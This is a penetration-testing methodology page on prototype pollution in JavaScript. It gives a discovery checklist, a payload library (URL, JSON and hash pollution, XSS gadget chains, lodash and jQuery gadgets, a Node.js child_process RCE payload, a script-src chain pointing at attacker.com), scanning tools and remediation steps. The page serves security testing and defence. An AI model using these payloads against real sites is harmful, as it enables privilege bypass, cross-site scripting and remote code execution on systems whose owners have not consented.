Prototype Pollution (Client-Side)
Severity: High | CWE: CWE-1321 OWASP: A03:2021 – Injection
What Is Prototype Pollution?
Every JavaScript object inherits from Object.prototype. If an attacker can inject arbitrary properties into Object.prototype, those properties are inherited by all objects in the application — leading to property injection, logic bypass, and XSS.
// Normal:
let obj = {};
obj.admin // undefined
// After prototype pollution via:
Object.prototype.admin = true;
// Now ALL objects are "admin":
let obj = {};
obj.admin // true ← inherited from prototype
Attack surface: any function that recursively merges, clones, or sets properties from user-controlled paths like __proto__, constructor.prototype, or prototype.
Discovery Checklist
- Find deep merge / extend / clone operations using user input (URL params, JSON body, hash)
- Test
__proto__in URL query string:?__proto__[admin]=1 - Test
constructor[prototype][admin]=1in URL - Test nested JSON body:
{"__proto__": {"admin": true}} - Test path-based:
obj["__proto__"]["admin"] = 1 - Look for lodash
_.merge,_.set,_.defaultsDeepin client JS - Look for jQuery
$.extend(true, ...)(deep extend) - Test URL fragment / hash — some apps parse hash as object
- Confirm pollution: inject a property with unique name, check if inherited globally
- Chain to XSS: look for sink functions that use prototype properties
Payload Library
Payload 1 — URL Query String Pollution
# Basic pollution via URL:
https://target.com/?__proto__[admin]=1
https://target.com/?__proto__[isAdmin]=true
https://target.com/?constructor[prototype][admin]=1
https://target.com/?__proto__.admin=1
# Nested properties:
https://target.com/?__proto__[role]=admin
https://target.com/?__proto__[permissions][delete]=true
# URL-encoded:
https://target.com/?__proto__%5badmin%5d=1
https://target.com/?__proto__%5b__proto__%5d%5badmin%5d=1
# Confirm success in browser console:
({}).admin // should return 1 if polluted
Payload 2 — JSON Body Pollution
{
"__proto__": {
"admin": true,
"isAdmin": true,
"role": "admin",
"debug": true
}
}
// Alternative paths:
{
"constructor": {
"prototype": {
"admin": true
}
}
}
// Deep nesting:
{
"a": {
"__proto__": {
"polluted": "yes"
}
}
}
Payload 3 — Hash / Fragment Pollution
// Apps that parse window.location.hash as config object:
// Navigate to:
https://target.com/#__proto__[admin]=true
https://target.com/#constructor[prototype][debug]=true
// Some apps use qs library to parse fragments:
// qs.parse("__proto__[polluted]=yes") → pollutes Object.prototype
Payload 4 — Pollution → XSS Chains
// Chain 1: Gadget in template literal — if code does:
// let html = `<div class="${config.theme}">`;
// and config.theme reads from prototype:
// Pollute theme property:
?__proto__[theme]="><img src=1 onerror=alert(1)>
// Chain 2: innerHTML gadget — if code does:
// el.innerHTML = options.html || '<default>';
?__proto__[html]=<img src=1 onerror=alert(document.domain)>
// Chain 3: script src gadget — if code does:
// let s = document.createElement('script');
// s.src = config.scriptPath + '/app.js';
?__proto__[scriptPath]=https://attacker.com
// Chain 4: jQuery html() / append() gadget:
// $.('<div>').html(settings.content).appendTo('body')
// Pollute: settings.content → XSS payload
// Chain 5: Vue / Angular template injection via polluted property:
?__proto__[template]=<div>{{constructor.constructor('alert(1)')()}}</div>
Payload 5 — Lodash-Specific Gadgets
// lodash < 4.17.12 vulnerable to prototype pollution via:
_.merge({}, JSON.parse('{"__proto__":{"polluted":1}}'))
_.defaultsDeep({}, JSON.parse('{"__proto__":{"polluted":1}}'))
_.set({}, "__proto__.polluted", 1)
_.set({}, "constructor.prototype.polluted", 1)
// Trigger via API that uses lodash merge on user input:
// POST /api/settings:
{
"__proto__": {
"sourceMappingURL": "data:application/json,{\"mappings\":\"AAAA\"}",
"innerHTML": "<img src=1 onerror=alert(1)>"
}
}
// lodash template() gadget:
_.template('hello')({__proto__: {sourceURL: '\nalert(1)'}})
Payload 6 — jQuery Prototype Pollution
// jQuery $.extend(true, target, source) — deep extend with __proto__:
$.extend(true, {}, JSON.parse('{"__proto__": {"polluted": true}}'))
// jQuery $.ajax with user-controlled data:
$.ajax({
url: '/api',
data: JSON.parse('{"__proto__":{"admin":true}}')
})
// Older jQuery versions also affected by:
$('#el').html(Object.prototype.innerHTML) // if innerHTML polluted
Payload 7 — Node.js Server-Side Prototype Pollution → RCE
// qs library (used by Express) — prototype pollution via:
// qs.parse("__proto__[outputFunctionName]=a;process.mainModule.require('child_process').exec('id')//")
// Lodash merge server-side + Handlebars template engine gadget:
// Pollute: Object.prototype.pendingContent → Handlebars executes arbitrary code
// flatted / node-serialize gadgets:
// JSON.parse with __proto__ key on older node versions
// Test via API POST with __proto__:
{
"__proto__": {
"shell": "node",
"NODE_OPTIONS": "--inspect=0.0.0.0:1337"
}
}
// Gadget: if app uses child_process.spawn({env: mergedConfig}):
// Pollute env variables → inject NODE_OPTIONS → RCE
Tools
# ppfuzz — prototype pollution fuzzer:
git clone https://github.com/dwisiswant0/ppfuzz
ppfuzz -l urls.txt
# ppmap — browser-based prototype pollution scanner:
git clone https://github.com/kleiton0x00/ppmap
node ppmap.js -u https://target.com
# Burp Suite:
# - Search JS files for: merge, extend, assign, defaults, clone, deepCopy
# - DOM Invader (built-in Burp browser) → Prototype Pollution mode
# - DOM Invader auto-detects pollutable sinks
# Manual test in browser DevTools:
# 1. Open console on target page
# 2. Navigate to: https://target.com/?__proto__[testkey]=testvalue
# 3. In console: ({}).testkey === "testvalue"
# → true = prototype polluted
# Find lodash version:
grep -r "lodash\|_\." node_modules/package.json 2>/dev/null
# Check version against known vulnerable versions
# grep JS files for vulnerable patterns:
grep -rn "\.merge\|\.extend\|defaultsDeep\|\.assign\|parseQuery\|qs\.parse" \
--include="*.js" .
# DOM Invader (Burp built-in browser):
# Settings → Prototype pollution → Enable
# Browse target → DOM Invader reports pollutable properties
Remediation Reference
- Freeze
Object.prototype:Object.freeze(Object.prototype)at app startup - Use
Object.create(null)for plain data objects (no prototype chain) - Validate/reject
__proto__,constructor,prototypekeys in any merge/parse operation - Update lodash to >= 4.17.21, jQuery >= 3.4.0
- Use
Mapinstead of plain objects for attacker-controlled key-value stores - JSON Schema validation: reject objects containing
__proto__key before processing - Helmet.js /
nosniff: helps limit XSS escalation but not the root cause
Part of the Web Application Penetration Testing Methodology series.